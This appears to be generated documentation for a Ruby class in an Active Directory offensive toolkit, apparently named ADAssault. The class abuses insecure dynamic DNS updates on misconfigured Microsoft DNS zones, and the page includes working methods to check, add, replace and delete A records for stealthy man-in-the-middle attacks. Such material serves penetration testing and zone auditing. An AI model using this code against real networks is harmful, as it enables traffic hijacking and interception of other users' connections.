Class: ADAssault::DNS::DUZDU
- Inherits:
-
Object
- Object
- ADAssault::DNS::DUZDU
- Defined in:
- lib/adassault/dns/duzdu.rb
Overview
DNS unsecure zone dynamic update (DUZDU).
On a misconfigured MS DNS zone, one can abuse dynamic updates to perform MiTM attacks in a very stealth way.
On a Windows server with the DNS role, the DSPROPERTY_ZONE_ALLOW_UPDATE property defines whether dynamic updates are allowed. See Microsoft - MS-DNSP - 2.3.2.1.1 Property Id.
The possible values (fAllowUpdate) are (see Microsoft - MS-DNSP - 2.2.5.2.4.1 DNS_RPC_ZONE_INFO_W2K):
0(ZONE_UPDATE_OFF): No updates are allowed for the zone.1(ZONE_UPDATE_UNSECURE): All updates (secure and unsecure) are allowed for the zone.2(ZONE_UPDATE_SECURE): The zone only allows secure updates, that is, DNS packet MUST have a TSIG [RFC2845] present in the additional section.
One can see the property when connected to the DNS server (near 100% of times on the domain controller), with the command: dnscmd.exe /ZoneInfo <example: thm.local> and the value of update.
Another option with the GUI, is to launch DNS Manager on the Windows server, then unfold the tree until the DNS zone, right click on it, select Properties, on the General tab, see the value of the select fields named Dynamic updates.
Of course it is also possible to check remotly by trying to create a record. (see #checkv4)
References:
- [FR] ANSSI - Points de contrôle Active Directory - Zones DNS mal configurées (vuln_dnszone_bad_prop)
- [FR] ANSSI - Bulletin d'alerte du CERT-FR - Multiples vulnérabilités dans Microsoft DNS server - CERTFR-2021-ALE-005
- [EN] RFC 2136 - Dynamic Updates in the Domain Name System (DNS UPDATE)
- [EN] RFC 2845 - Secret Key Transaction Authentication for DNS (TSIG)
- [EN] RFC 3007 - Secure Domain Name System (DNS) Dynamic Update
- [EN] RFC 4033 - DNS Security Introduction and Requirements
- [EN] RFC 4034 - Resource Records for the DNS Security Extensions
- [EN] RFC 4035 - Protocol Modifications for the DNS Security Extensions
- [EN] RFC 6895 - Domain Name System (DNS) IANA Considerations
- [EN] RFC 8945 - Secret Key Transaction Authentication for DNS (TSIG)
Instance Method Summary collapse
-
#addv4(name, ip) ⇒ TrueClass|FalseClass
Add a DNS A record (IPv4) via dynamic updates.
-
#checkv4 ⇒ TrueClass|FalseClass
Check if unsecure dynamic updates are allowed (IPv4).
-
#deletev4(name) ⇒ TrueClass|FalseClass
Remove a DNS A record (IPv4) via dynamic updates.
-
#display(success, cmd) ⇒ nil
Display a CLI-friendly output showing if the executed method was successful or not.
-
#display_record(name, ips) ⇒ nil
Display a CLI-friendly output formating the DNS record with its FQDN and IP addresses.
-
#getv4(name) ⇒ Array<String>
Get the value(s) of a DNS A record (IPv4).
-
#initialize(ad_domain, dns_opts = nil) ⇒ DUZDU
constructor
Create the DUZDU object.
-
#replacev4(name, ip) ⇒ TrueClass|FalseClass
Change the value of an existing DNS A record (IPv4) via dynamic updates.
Constructor Details
#initialize(ad_domain, dns_opts = nil) ⇒ DUZDU
Create the DUZDU object
46 47 48 49 |
# File 'lib/adassault/dns/duzdu.rb', line 46 def initialize(ad_domain, dns_opts = nil) @ad_domain = ad_domain @dns_opts = dns_opts end |
Instance Method Details
#addv4(name, ip) ⇒ TrueClass|FalseClass
Add a DNS A record (IPv4) via dynamic updates
Warning: adding 2nd value the same name will result in two entries for the same record, not updating the name (for that use #replacev4).
74 75 76 77 78 |
# File 'lib/adassault/dns/duzdu.rb', line 74 def addv4(name, ip) update = Dnsruby::Update.new(@ad_domain) update.add("#{name}.#{@ad_domain}.", 'A', 300, ip) send_update(update) end |
#checkv4 ⇒ TrueClass|FalseClass
Check if unsecure dynamic updates are allowed (IPv4)
It will try to create a random IPv4 record in the zone and remove it.
102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 |
# File 'lib/adassault/dns/duzdu.rb', line 102 def checkv4 networks = ['10.0.0.0/8', '172.16.0.0/12', '192.168.0.0/16'].map { |x| IPAddr.new(x) } network = networks.sample begin name = Random.uuid_v4 # Ruby 3.3+ rescue NoMethodError # see https://github.com/ruby/securerandom/issues/31 name = Random.uuid # Ruby 3.2- end ip = IPAddr.new(rand(network.to_range.begin.succ.to_i..network.to_range.end.to_i - 1), network.family) created = addv4(name, ip) # if created # deletev4(name) # true # else # false # end created ? deletev4(name) || true : false end |
#deletev4(name) ⇒ TrueClass|FalseClass
Remove a DNS A record (IPv4) via dynamic updates
Warning: if several entries exist for the same record, they will all be deleted.
87 88 89 90 91 92 |
# File 'lib/adassault/dns/duzdu.rb', line 87 def deletev4(name) update = Dnsruby::Update.new(@ad_domain) update.present("#{name}.#{@ad_domain}", 'A') update.delete("#{name}.#{@ad_domain}", 'A') send_update(update) end |
#display(success, cmd) ⇒ nil
Display a CLI-friendly output showing if the executed method was successful or not
141 142 143 144 145 146 147 148 149 150 151 |
# File 'lib/adassault/dns/duzdu.rb', line 141 def display(success, cmd) # allowed_methods = DUZDU.public_instance_methods(false) - [:display] # success = allowed_methods.include?(cmd.to_sym) ? send(cmd) : nil message = if success Paint["✅ #{cmd} was executed successfully", 'green'] else Paint["❌ #{cmd} was unsuccessful", 'red'] end puts message end |
#display_record(name, ips) ⇒ nil
Display a CLI-friendly output formating the DNS record with its FQDN and IP addresses.
157 158 159 160 |
# File 'lib/adassault/dns/duzdu.rb', line 157 def display_record(name, ips) fqdn = "#{name}.#{@ad_domain}" puts "#{Paint[fqdn, 'cyan']} - #{Paint[ips.join(', '), 'aquamarine']}" end |
#getv4(name) ⇒ Array<String>
Get the value(s) of a DNS A record (IPv4)
128 129 130 131 132 133 134 135 |
# File 'lib/adassault/dns/duzdu.rb', line 128 def getv4(name) Dnsruby::DNS.open(@dns_opts) do |dns| ress = dns.getresources("#{name}.#{@ad_domain}", 'A') ress.map { |x| x.address.to_s } rescue Dnsruby::NXDomain # The requested domain does not exist [''] end end |
#replacev4(name, ip) ⇒ TrueClass|FalseClass
Change the value of an existing DNS A record (IPv4) via dynamic updates
It will remove and recreate the record.
Warning: if several entries exist for the same record, they will all be replaced by the new value.
61 62 63 64 |
# File 'lib/adassault/dns/duzdu.rb', line 61 def replacev4(name, ip) deletev4(name) addv4(name, ip) end |